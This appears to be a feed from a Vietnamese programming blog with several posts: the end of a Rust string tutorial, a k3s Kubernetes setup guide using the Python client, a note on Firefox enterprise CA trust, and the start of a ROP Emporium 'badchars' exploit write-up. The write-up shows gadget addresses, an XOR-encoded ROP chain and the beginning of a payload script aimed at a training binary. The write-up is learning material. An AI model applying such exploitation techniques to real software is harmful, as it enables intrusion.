<span class="k">for</span><span class="w"> </span><span class="n">p</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="n">s</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">"a"</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="fm">dbg!</span><span class="p">(</span><span class="n">p</span><span class="p">);</span><span class="w"></span>
<span class="p">}</span><span class="w"></span>
<span class="c1">//[src/main.rs:16] p = "b"</span>
<span class="c1">//[src/main.rs:16] p = "c"</span>
<span class="c1">//[src/main.rs:16] p = "d"</span>
<span class="c1">//[src/main.rs:16] p = "e"</span>
</code></pre></div>
<p><code>filter</code> method trả về 1 <code>Filter</code></p>
<div class="highlight"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">s</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">String</span>::<span class="n">from</span><span class="p">(</span><span class="s">"bacadae"</span><span class="p">);</span><span class="w"></span>
<span class="c1">// Filter<Split<&str>, |&&str| -> bool></span>
<span class="kd">let</span><span class="w"> </span><span class="n">ps</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">s</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">"a"</span><span class="p">).</span><span class="n">filter</span><span class="p">(</span><span class="o">|&</span><span class="n">s</span><span class="o">|</span><span class="w"> </span><span class="n">s</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="s">"c"</span><span class="p">);</span><span class="w"></span>
<span class="k">for</span><span class="w"> </span><span class="n">r</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="n">ps</span><span class="w"> </span><span class="p">{</span><span class="w"></span>
<span class="w"> </span><span class="fm">dbg!</span><span class="p">(</span><span class="n">r</span><span class="p">);</span><span class="w"> </span><span class="c1">// r là &str</span>
<span class="p">}</span><span class="w"></span>
<span class="c1">// [src/main.rs:17] r = "d"</span>
<span class="c1">// [src/main.rs:17] r = "e"</span>
</code></pre></div>
<p>Để thu được <code>Vec<&str></code> dùng <code>collect()</code>:</p>
<div class="highlight"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">s</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">" a b</span><span class="se">\t</span><span class="s">c</span><span class="se">\n</span><span class="s">d "</span><span class="p">;</span><span class="w"></span>
<span class="c1">// pub fn split_whitespace(&self) -> SplitWhitespace<'_></span>
<span class="kd">let</span><span class="w"> </span><span class="n">parts</span>: <span class="nb">Vec</span><span class="o"><&</span><span class="kt">str</span><span class="o">></span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">s</span><span class="p">.</span><span class="n">split_whitespace</span><span class="p">().</span><span class="n">collect</span><span class="p">();</span><span class="w"></span>
<span class="fm">dbg!</span><span class="p">(</span><span class="n">parts</span><span class="p">);</span><span class="w"></span>
<span class="c1">// [src/main.rs:19] parts = [</span>
<span class="c1">// "a",</span>
<span class="c1">// "b",</span>
<span class="c1">// "c",</span>
<span class="c1">// "d",</span>
<span class="c1">// ]</span>
</code></pre></div>
<h2>char - character</h2>
<p>char là một ký tự, hay chính xác hơn là 1 Unicode scalar value, dùng single quote <code>'</code> để bao quanh 2 bên char.</p>
<div class="highlight"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">c</span>: <span class="kt">char</span> <span class="o">=</span><span class="w"> </span><span class="sc">'\u{1b0}'</span><span class="p">;</span><span class="w"> </span><span class="c1">// ư</span>
<span class="kd">let</span><span class="w"> </span><span class="n">c2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">'a'</span><span class="p">;</span><span class="w"></span>
</code></pre></div>
<p>Biến vector char thành String với <code>collect</code>:</p>
<div class="highlight"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">v</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="fm">vec!</span><span class="p">[</span><span class="sc">'a'</span><span class="p">,</span><span class="w"> </span><span class="sc">'b'</span><span class="p">,</span><span class="w"> </span><span class="sc">'c'</span><span class="p">];</span><span class="w"></span>
<span class="kd">let</span><span class="w"> </span><span class="n">s</span>: <span class="nb">String</span> <span class="o">=</span><span class="w"> </span><span class="n">v</span><span class="p">.</span><span class="n">iter</span><span class="p">().</span><span class="n">collect</span><span class="p">();</span><span class="w"></span>
</code></pre></div>
<h2>Kết luận</h2>
<p>Khi nội dung string được tạo mới, hoặc thay đổi, dùng <code>String</code>, khi nội dung cố định, không mới, dùng <code>&str</code>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>Tạo và code Python tương tác với Kubernetes trên local dùng k3s2023-11-14T00:00:00+07:002023-11-14T00:00:00+07:00hvntag:familug.github.io,2023-11-14:/tao-va-code-python-tuong-tac-voi-kubernetes-tren-local-dung-k3s.html<p>Kubernetes vốn mang tiếng phức tạp, lằng nhằng, và không ai phải đối chuyện này... không phản đối nhưng vẫn sinh ra 1 phiên bản Kubernetes nhỏ nhẹ hơn có thể chạy trên cả thiết bị Raspberry Pi tí hon, đó là K3S.</p>
<p>K8S - 5 == K3S</p>
<p>Trang chủ: <a href="https://k3s.io/">https://k3s …</a></p><p>Kubernetes vốn mang tiếng phức tạp, lằng nhằng, và không ai phải đối chuyện này... không phản đối nhưng vẫn sinh ra 1 phiên bản Kubernetes nhỏ nhẹ hơn có thể chạy trên cả thiết bị Raspberry Pi tí hon, đó là K3S.</p>
<p>K8S - 5 == K3S</p>
<p>Trang chủ: <a href="https://k3s.io/">https://k3s.io/</a></p>
<blockquote>
<p>The certified Kubernetes distribution built for IoT & Edge computing</p>
</blockquote>
<p>K3S rất nhẹ, chỉ 1 binary < 80MB, chạy tốn ít tài nguyên:</p>
<div class="highlight"><pre><span></span><code>root <span class="m">842</span> <span class="m">5</span>.8 <span class="m">12</span>.8 <span class="m">1344004</span> <span class="m">514540</span> ? Ssl <span class="m">14</span>:30 <span class="m">1</span>:25 /usr/local/bin/k3s server
</code></pre></div>
<p>Ví dụ chạy trên máy ảo hết 500MB RAM và chiếm 5% CPU.</p>
<p>(đang chạy 2 pod 1 NGINX 1 redis).</p>
<p>Ngoài k3s, có nhiều sản phẩm khác tương tự như minikube, hay microk8s.</p>
<h2>Cài đặt</h2>
<div class="highlight"><pre><span></span><code><span class="nv">curl</span><span class="w"> </span><span class="o">-</span><span class="nv">sfL</span><span class="w"> </span><span class="nv">https</span>:<span class="o">//</span><span class="nv">get</span>.<span class="nv">k3s</span>.<span class="nv">io</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nv">sh</span><span class="w"> </span><span class="o">-</span><span class="w"></span>
#<span class="w"> </span><span class="nv">Check</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="nv">Ready</span><span class="w"> </span><span class="nv">node</span>,<span class="w"> </span><span class="nv">takes</span><span class="w"> </span><span class="o">~</span><span class="mi">30</span><span class="w"> </span><span class="nv">seconds</span><span class="w"></span>
<span class="nv">sudo</span><span class="w"> </span><span class="nv">k3s</span><span class="w"> </span><span class="nv">kubectl</span><span class="w"> </span><span class="nv">get</span><span class="w"> </span><span class="nv">node</span><span class="w"></span>
</code></pre></div>
<p>ngay sau khi kết thúc câu lệnh trên, gõ xem cluster đang chạy:</p>
<div class="highlight"><pre><span></span><code># kubectl get nodes
NAME STATUS ROLES AGE VERSION
bullseye Ready control-plane,master 29m v1.27.7+k3s2
</code></pre></div>
<p>k3s chạy cả master lẫn "worker" node trên cùng 1 máy, và vẫn nhẹ nhàng.</p>
<h2>Tạo namespace</h2>
<p>Tạo namespace mới cho quen, thay vì mãi dùng <code>default</code>:</p>
<div class="highlight"><pre><span></span><code># kubectl create namespace webdev
# kubectl get namespace
NAME STATUS AGE
default Active 32m
kube-system Active 32m
kube-public Active 32m
kube-node-lease Active 32m
webdev Active 19m
</code></pre></div>
<h2>Tạo alias viết cho ngắn</h2>
<p>Thêm vào ~/.bashrc</p>
<div class="highlight"><pre><span></span><code><span class="nb">alias</span> <span class="nv">k</span><span class="o">=</span>kubectl
</code></pre></div>
<p>rồi gõ <code>source ~/.bashrc</code>
Từ giờ gõ <code>k</code> thay vì <code>kubectl</code></p>
<h2>Tạo deployment, pod</h2>
<p>Tạo 1 deploy (deployment) ghi ra file cache.yaml, deploy redis pods</p>
<div class="highlight"><pre><span></span><code>k -n webdev create deploy --image=redis cache -o yaml --dry-run=client > cache.yaml
</code></pre></div>
<p>Người dùng k8s thường tạo các resource bằng <code>kubectl create</code> bởi không ai nhớ đống YAML thụt ra thụt vào kia có những gì.</p>
<p>Mở file này ra xem nội dung:</p>
<div class="highlight"><pre><span></span><code><span class="nt">apiVersion</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">apps/v1</span><span class="w"></span>
<span class="nt">kind</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">Deployment</span><span class="w"></span>
<span class="nt">metadata</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="nt">creationTimestamp</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">null</span><span class="w"></span>
<span class="w"> </span><span class="nt">labels</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="nt">app</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">cache</span><span class="w"></span>
<span class="w"> </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">cache</span><span class="w"></span>
<span class="w"> </span><span class="nt">namespace</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">webdev</span><span class="w"></span>
<span class="nt">spec</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="nt">replicas</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">1</span><span class="w"></span>
<span class="w"> </span><span class="nt">selector</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="nt">matchLabels</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="nt">app</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">cache</span><span class="w"></span>
<span class="w"> </span><span class="nt">strategy</span><span class="p">:</span><span class="w"> </span><span class="p p-Indicator">{}</span><span class="w"></span>
<span class="w"> </span><span class="nt">template</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="nt">metadata</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="nt">creationTimestamp</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">null</span><span class="w"></span>
<span class="w"> </span><span class="nt">labels</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="nt">app</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">cache</span><span class="w"></span>
<span class="w"> </span><span class="nt">spec</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="nt">containers</span><span class="p">:</span><span class="w"></span>
<span class="w"> </span><span class="p p-Indicator">-</span><span class="w"> </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">redis</span><span class="w"></span>
<span class="w"> </span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l l-Scalar l-Scalar-Plain">redis</span><span class="w"></span>
<span class="w"> </span><span class="nt">resources</span><span class="p">:</span><span class="w"> </span><span class="p p-Indicator">{}</span><span class="w"></span>
<span class="nt">status</span><span class="p">:</span><span class="w"> </span><span class="p p-Indicator">{}</span><span class="w"></span>
</code></pre></div>
<p>Sửa gì nếu muốn, apply để tạo deployment:</p>
<div class="highlight"><pre><span></span><code># k apply -f cache.yaml
</code></pre></div>
<p>chờ một lúc gõ xem pod được tạo</p>
<div class="highlight"><pre><span></span><code># k -n webdev get pod
NAME READY STATUS RESTARTS AGE
cache-7cfdc6cc-zgvnm 1/1 Running 0 23m
</code></pre></div>
<h2>Code python tương tác với Kubernetes qua thư viện client kubernetes</h2>
<p><a href="https://kubernetes.io/docs/reference/using-api/client-libraries/">Thư viện chính thức</a> được hỗ trợ: <code>pip install kubernetes</code></p>
<p>Tạo file Kube config tại ~/.kube/config để làm file config mặc định.
Do k3s không có file này, link đến file của k3s:</p>
<div class="highlight"><pre><span></span><code>ln -s /etc/rancher/k3s/k3s.yaml ~/.kube/config
</code></pre></div>
<p>Bật Python lên và code:</p>
<div class="highlight"><pre><span></span><code><span class="c1"># python3</span>
<span class="n">Python</span> <span class="mf">3.9.2</span> <span class="p">(</span><span class="n">default</span><span class="p">,</span> <span class="n">Feb</span> <span class="mi">28</span> <span class="mi">2021</span><span class="p">,</span> <span class="mi">17</span><span class="p">:</span><span class="mi">03</span><span class="p">:</span><span class="mi">44</span><span class="p">)</span>
<span class="p">[</span><span class="n">GCC</span> <span class="mf">10.2.1</span> <span class="mi">20210110</span><span class="p">]</span> <span class="n">on</span> <span class="n">linux</span>
<span class="n">Type</span> <span class="s2">"help"</span><span class="p">,</span> <span class="s2">"copyright"</span><span class="p">,</span> <span class="s2">"credits"</span> <span class="ow">or</span> <span class="s2">"license"</span> <span class="k">for</span> <span class="n">more</span> <span class="n">information</span><span class="o">.</span>
<span class="o">>>></span> <span class="kn">from</span> <span class="nn">kubernetes</span> <span class="kn">import</span> <span class="n">config</span><span class="p">,</span> <span class="n">client</span>
<span class="o">>>></span> <span class="n">config</span><span class="o">.</span><span class="n">load_config</span><span class="p">()</span>
<span class="o">>>></span> <span class="n">core</span> <span class="o">=</span> <span class="n">client</span><span class="o">.</span><span class="n">CoreV1Api</span><span class="p">()</span>
<span class="o">>>></span> <span class="n">res</span> <span class="o">=</span> <span class="n">core</span><span class="o">.</span><span class="n">list_namespaced_pod</span><span class="p">(</span><span class="n">namespace</span><span class="o">=</span><span class="s2">"webdev"</span><span class="p">,</span> <span class="n">label_selector</span><span class="o">=</span><span class="s2">"app=cache"</span><span class="p">)</span>
<span class="o">>>></span> <span class="n">res</span><span class="o">.</span><span class="n">items</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">metadata</span><span class="o">.</span><span class="n">name</span>
<span class="s1">'cache-7cfdc6cc-zgvnm'</span>
<span class="o">>>></span> <span class="n">res</span><span class="o">.</span><span class="n">items</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">spec</span>
<span class="p">{</span><span class="s1">'active_deadline_seconds'</span><span class="p">:</span> <span class="kc">None</span><span class="p">,</span>
<span class="s1">'affinity'</span><span class="p">:</span> <span class="kc">None</span><span class="p">,</span>
<span class="s1">'automount_service_account_token'</span><span class="p">:</span> <span class="kc">None</span><span class="p">,</span>
<span class="s1">'containers'</span><span class="p">:</span> <span class="p">[{</span><span class="s1">'args'</span><span class="p">:</span> <span class="kc">None</span><span class="p">,</span>
<span class="o">...</span>
</code></pre></div>
<p>Rất ngon lành, rất đơn giản.</p>
<h2>Tham khảo</h2>
<p><a href="https://github.com/kubernetes-client/python/">https://github.com/kubernetes-client/python/</a></p>
<h2>Kết luận</h2>
<p>k3s là một giải pháp tuyệt vời để nghịch chơi kubernetes trên máy local!</p>
<p>Hết.</p>
<p>HVN at <a href="http://pymi.vn">http://pymi.vn</a> and <a href="https://www.familug.org">https://www.familug.org</a>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>Tại sao CA ok trên Chrome còn Firefox báo không hợp lệ2023-11-12T00:00:00+07:002023-11-12T00:00:00+07:00hvntag:familug.github.io,2023-11-12:/tai-sao-ca-ok-tren-chrome-con-firefox-bao-khong-hop-le.html<p>Trên MacOS, nếu một trang web nội bộ khi vào bằng Chrome thì bình thường, còn Firefox báo private certificate authorities không hợp lệ (CA không hợp lệ), tại sao?</p>
<h2>Mặc định không giống nhau</h2>
<p>Chrome (119) mặc định lấy CA từ Apple keystore, và Macbook được cài sẵn các …</p><p>Trên MacOS, nếu một trang web nội bộ khi vào bằng Chrome thì bình thường, còn Firefox báo private certificate authorities không hợp lệ (CA không hợp lệ), tại sao?</p>
<h2>Mặc định không giống nhau</h2>
<p>Chrome (119) mặc định lấy CA từ Apple keystore, và Macbook được cài sẵn các CA của công ty.</p>
<p>Firefox mặc định set</p>
<div class="highlight"><pre><span></span><code>security.enterprise_roots.enabled = false
</code></pre></div>
<p>cần vào trang <code>about:config</code> rồi tìm và set option này thành 1.</p>
<p><a href="https://support.mozilla.org/en-US/kb/setting-certificate-authorities-firefox">https://support.mozilla.org/en-US/kb/setting-certificate-authorities-firefox</a></p>
<p>Hết.</p>
<p>HVN at <a href="http://pymi.vn">http://pymi.vn</a> and <a href="https://www.familug.org">https://www.familug.org</a>.</p>
<p><a href="https://www.familug.org/p/ung-ho.html">Ủng hộ tác giả 🍺</a></p>Học khai thác lỗ hổng bảo mật qua ROP Emporium - Part 22023-10-17T00:00:00+07:002023-10-17T00:00:00+07:00minixtag:familug.github.io,2023-10-17:/pwn2.html<h2>Bad chars</h2>
<p>Challenge 5 cũng tương tự challenge 4 Write 4 nhưng chuỗi khi truyền vào sẽ được kiểm tra các ký tự, nếu gặp các ký tự này sẽ bị thay thế bằng 0xeb</p>
<p><img alt="" src="https://familug.github.io/images/ropemporium-2/Bad chars/image.png"></p>
<p>Như vậy ta cần tránh các ký tự 4 kí tự là “x”, “g”, “a …</p><h2>Bad chars</h2>
<p>Challenge 5 cũng tương tự challenge 4 Write 4 nhưng chuỗi khi truyền vào sẽ được kiểm tra các ký tự, nếu gặp các ký tự này sẽ bị thay thế bằng 0xeb</p>
<p><img alt="" src="https://familug.github.io/images/ropemporium-2/Bad chars/image.png"></p>
<p>Như vậy ta cần tránh các ký tự 4 kí tự là “x”, “g”, “a” ,“.”</p>
<p>Và để tránh truyền các ký tự này ta sẽ truyền vào string “flag.txt” đã được encrypt từng byte bằng phép xor với 0x50 (chọn key để tránh các kí tự trên) và sử dụnng gadget xor để decrypt trước khi thực thi </p>
<p>Tiến hành lấy địa chỉ các gadget cần thiết</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="err">$</span><span class="w"> </span><span class="n">rabin2</span><span class="w"> </span><span class="o">-</span><span class="n">i</span><span class="w"> </span><span class="n">badchars</span><span class="w"></span>
<span class="o">[</span><span class="n">Imports</span><span class="o">]</span><span class="w"></span>
<span class="n">nth</span><span class="w"> </span><span class="n">vaddr</span><span class="w"> </span><span class="n">bind</span><span class="w"> </span><span class="n">type</span><span class="w"> </span><span class="n">lib</span><span class="w"> </span><span class="n">name</span><span class="w"></span>
<span class="err">―――――――――――――――――――――――――――――――――――――</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
<span class="mi">4</span><span class="w"> </span><span class="mh">0x00400510</span><span class="w"> </span><span class="k">GLOBAL</span><span class="w"> </span><span class="n">FUNC</span><span class="w"> </span><span class="n">print_file</span><span class="w"></span>
<span class="err">$</span><span class="w"> </span><span class="n">rabin2</span><span class="w"> </span><span class="o">-</span><span class="n">S</span><span class="w"> </span><span class="n">badchars</span><span class="w"></span>
<span class="o">[</span><span class="n">Sections</span><span class="o">]</span><span class="w"></span>
<span class="n">nth</span><span class="w"> </span><span class="n">paddr</span><span class="w"> </span><span class="k">size</span><span class="w"> </span><span class="n">vaddr</span><span class="w"> </span><span class="n">vsize</span><span class="w"> </span><span class="n">perm</span><span class="w"> </span><span class="n">name</span><span class="w"></span>
<span class="err">―――――――――――――――――――――――――――――――――――――――――――――――――</span><span class="w"></span>
<span class="mi">23</span><span class="w"> </span><span class="mh">0x00001028</span><span class="w"> </span><span class="mh">0x10</span><span class="w"> </span><span class="mh">0x00601028</span><span class="w"> </span><span class="mh">0x10</span><span class="w"> </span><span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="w"> </span><span class="p">.</span><span class="k">data</span><span class="w"></span>
<span class="err">$</span><span class="w"> </span><span class="n">python3</span><span class="w"> </span><span class="n">Ropper</span><span class="p">.</span><span class="n">py</span><span class="w"> </span><span class="o">-</span><span class="n">f</span><span class="w"> </span><span class="n">badchars</span><span class="w"></span>
<span class="p">...</span><span class="w"></span>
<span class="mh">0x000000000040069c</span><span class="err">:</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">r12</span><span class="p">;</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">r13</span><span class="p">;</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">r14</span><span class="p">;</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">r15</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="mh">0x00000000004006a3</span><span class="err">:</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rdi</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="mh">0x00000000004004ee</span><span class="err">:</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="mh">0x0000000000400628</span><span class="err">:</span><span class="w"> </span><span class="n">xor</span><span class="w"> </span><span class="n">byte</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">r15</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">r14b</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="mh">0x0000000000400634</span><span class="err">:</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">r13</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">r12</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="mh">0x00000000004006a2</span><span class="err">:</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">r15</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
</code></pre></div>
<p>Build stack như sau</p>
<div class="highlight"><pre><span></span><code><span class="o">---></span><span class="w"> </span><span class="k">Load</span><span class="w"> </span><span class="n">encrypted</span><span class="w"> </span><span class="n">flag</span><span class="w"> </span><span class="n">vào</span><span class="w"> </span><span class="k">section</span><span class="w"> </span><span class="p">.</span><span class="k">data</span><span class="w"></span>
<span class="o">[</span><span class="n">A*8 </span><span class="o">]</span><span class="w"></span>
<span class="o">[</span><span class="n">.....</span><span class="o">]</span><span class="w"></span>
<span class="o">[</span><span class="n">A*8 </span><span class="o">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="mi">40</span><span class="o">*</span><span class="n">A</span><span class="w"></span>
<span class="o">[</span><span class="n">0x40069c</span><span class="o">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">r12</span><span class="p">;</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">r13</span><span class="p">;</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">r14</span><span class="p">;</span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">r15</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="o">[</span><span class="n">encrypted_flag</span><span class="o">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="mi">8</span><span class="w"> </span><span class="n">byte</span><span class="w"> </span><span class="n">encrypted</span><span class="w"> </span><span class="ss">"flag.txt"</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">r12</span><span class="w"></span>
<span class="o">[</span><span class="n">0x601028 + 7</span><span class="o">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="w"> </span><span class="p">.</span><span class="k">data</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">r13</span><span class="p">;</span><span class="w"> </span><span class="n">Vì</span><span class="w"> </span><span class="mh">0x601028</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mh">0x6</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x60102e</span><span class="w"> </span><span class="n">có</span><span class="w"> </span><span class="mh">0x2e</span><span class="w"> </span><span class="n">là</span><span class="w"> </span><span class="s1">'.'</span><span class="w"> </span><span class="n">nên</span><span class="w"> </span><span class="n">ta</span><span class="w"> </span><span class="n">cộng</span><span class="w"> </span><span class="n">thêm</span><span class="w"> </span><span class="mi">7</span><span class="w"> </span><span class="n">vào</span><span class="w"> </span><span class="n">địa</span><span class="w"> </span><span class="n">chỉ</span><span class="w"></span>
<span class="o">[</span><span class="n">key</span><span class="o">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">encrypt</span><span class="w"> </span><span class="k">key</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">r14</span><span class="w"></span>
<span class="o">[</span><span class="n">0x601028</span><span class="o">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="w"> </span><span class="p">.</span><span class="k">data</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">r15</span><span class="w"></span>
<span class="o">[</span><span class="n">0x400634</span><span class="o">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">qword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">r13</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">r12</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">lấy</span><span class="w"> </span><span class="n">encrypted</span><span class="w"> </span><span class="s1">'flag.txt'</span><span class="w"> </span><span class="p">(</span><span class="n">r12</span><span class="p">)</span><span class="w"> </span><span class="n">lưu</span><span class="w"> </span><span class="n">vào</span><span class="w"> </span><span class="p">.</span><span class="k">data</span><span class="w"> </span><span class="p">(</span><span class="n">r13</span><span class="p">)</span><span class="w"></span>
<span class="o">---></span><span class="w"> </span><span class="n">Lặp</span><span class="w"> </span><span class="n">lại</span><span class="w"> </span><span class="n">gadget</span><span class="w"> </span><span class="n">xor</span><span class="w"> </span><span class="n">với</span><span class="w"> </span><span class="n">mỗi</span><span class="w"> </span><span class="n">byte</span><span class="w"> </span><span class="n">trong</span><span class="w"> </span><span class="n">encrypted</span><span class="w"> </span><span class="n">flag</span><span class="w"> </span><span class="n">lưu</span><span class="w"> </span><span class="n">tại</span><span class="w"> </span><span class="p">.</span><span class="k">data</span><span class="w"></span>
<span class="o">[</span><span class="n">0x400628</span><span class="o">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">xor</span><span class="w"> </span><span class="n">byte</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">r15</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">r14b</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="o">[</span><span class="n">0x4006a2</span><span class="o">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">r15</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="o">[</span><span class="n">0x601028 + 7 + i</span><span class="o">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">Với</span><span class="w"> </span><span class="mi">1</span><span class="o"><=</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="mi">8</span><span class="w"></span>
<span class="o">[</span><span class="n">0x400628</span><span class="o">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">xor</span><span class="w"> </span><span class="n">byte</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">r15</span><span class="o">]</span><span class="p">,</span><span class="w"> </span><span class="n">r14b</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"> </span><span class="n">byte</span><span class="w"> </span><span class="n">cuối</span><span class="w"> </span><span class="n">của</span><span class="w"> </span><span class="n">encrypted</span><span class="w"> </span><span class="n">flag</span><span class="w"></span>
<span class="o">[</span><span class="n">0x4006a3</span><span class="o">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">pop</span><span class="w"> </span><span class="n">rdi</span><span class="p">;</span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="o">[</span><span class="n">0x601028 + 7</span><span class="o">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">rdi</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">arg1</span><span class="w"> </span><span class="n">của</span><span class="w"> </span><span class="n">print_file</span><span class="w"></span>
<span class="o">[</span><span class="n">0x4004ee</span><span class="o">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">ret</span><span class="p">;</span><span class="w"></span>
<span class="o">[</span><span class="n">0x400510</span><span class="o">]</span><span class="w"> </span><span class="o">-></span><span class="w"> </span><span class="n">print_file</span><span class="p">();</span><span class="w"></span>
</code></pre></div>
<p>Dựa trên stack như trên ta build payload sử dụng python và struct module</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">struct</span> <span class="kn">import</span> <span class="n">pack</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="k">def</span> <span class="nf">p</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="n">pack</span><span class="p">(</span><span class="s1">'<Q'</span><span class="p">,</span> <span class="n">x</span><span class="p">)</span>
